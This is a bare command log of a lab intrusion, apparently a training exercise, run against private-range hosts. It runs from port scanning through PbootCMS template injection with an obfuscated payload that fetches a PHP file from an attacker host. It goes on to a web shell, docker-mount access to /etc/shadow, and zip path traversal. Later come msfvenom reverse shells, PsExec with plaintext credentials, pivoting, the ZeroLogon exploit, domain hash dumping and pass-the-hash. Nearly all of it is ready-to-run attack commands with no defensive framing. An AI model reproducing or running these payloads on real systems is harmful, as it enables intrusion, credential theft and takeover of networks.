netdiscover

masscan --ports 1-65535 192.168.8.121 --rate=1000

nmap -sC -A -p 22,888,3306,8888,21,80 192.168.8.121 -oA port-version-8

vim /etc/hosts
192.168.8.121 www.cf1.com

gobuster dir -u  http://www.cf1.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "tar.gz"  -t 50

http://www.cf1.com/config.tar.gz
http://www.cf1.com/config/database.php~

data/c6613b090db86e60916afb3af6f923d2.db

sqlitebrowser c6613b090db86e60916afb3af6f923d2.db

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['3','.php']),implode('',['<?php file_','put_','contents(','"garck.php"',',file','_get_','contents
("','http://192.168.8.133/garck.txt"));?>'])))}!!!{/pboot:if}

<form >
<input name="cmd" type="text" size="100">
<input type="submit" value="shell">
</form>
$shell = isset($_GET['cmd'])?$_GET['cmd']:'uname -a';
pwn("$shell");

chmod 600 id_rsa
ssh -i id_rsa cf1@192.168.8.121
连接成功

Id
groups

docker run -v /etc:/mnt -it alpine

sudo docker search alpine            #搜索镜像
sudo docker pull alpine              #拉取镜像
sudo docker image                  #查看镜像
sudo docker save alpine > alpine.tar   #导出镜像
 
wget http://192.168.8.133/alpine.tar   #下载镜像
docker load <alpine.tar               #导入镜像
docker images                      #查看镜像

docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow

openssl passwd -1 --salt Garck

nmap -F 192.168.8.124

apt-get install masscan
masscan -p 1-65535 192.168.8.124 –rate=1000
nmap -p 10129,3306,5885,8080 -sC -oA port-alls -Pn -v 192.168.8.124

import zipfile
if __name__ == "__main__":
     try:
         binary = b'<script>alert("helloworld")</script>'
         zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
         info = zipfile.ZipInfo("test5.zip")
         zipFile.writestr("../../../moonsec.html", binary)
         zipFile.close()
     except IOError as e:
         raise 

<script type="text/javascript" src="a.js"></script>

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.133 LPORT=8888 -f raw > shell.jsp

jar -cvf shell.war shell.jsp

msfconsole
use exploit/multi/handler 
set payload java/jsp_shell_reverse_tcp 
set lhost 192.168.8.133
set lport 8888
set shell cmd.exe
run

net start

tasklist | find /i "360"

portscan 10.10.1.0-10.10.1.255 139 arp 1024

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.133 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload-re.txt

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.133
set lport 2333 

use auxiliary/server/socks_proxy
set srvport 3333
run

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -e x86/shikata_ga_nai -i 15 -f csharp -o payload-re-7788.txt

shell copy C:\tomcat\webapps\msf.exe \\10.10.1.128\c$

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.133
set lport 7788
run -j

PsExec64.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/msf.exe

shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.8.133 connectport=7788

shell netsh interface portproxy show all

netsh advfirewall firewall add rule name="7788" protocol=TCP dir=in localport=7788 action=allow

PsExec64.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/msf.exe

run autoroute -s 10.10.10.0/24
run autoroute -p

use auxiliary/server/socks_proxy
set srvport 3333
run

proxychains nmap -sT -Pn 10.10.10.139 -p 88,445,139,80 

run post/windows/gather/enum_domain

run post/windows/gather/enum_computers

proxychains ./cve-2020-1472-exploit.py dc 10.10.10.139

proxychains python3 secretsdump.py fbi/dc\$@10.10.10.139 -just-dc -hashes :

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 administrator@10.10.10.139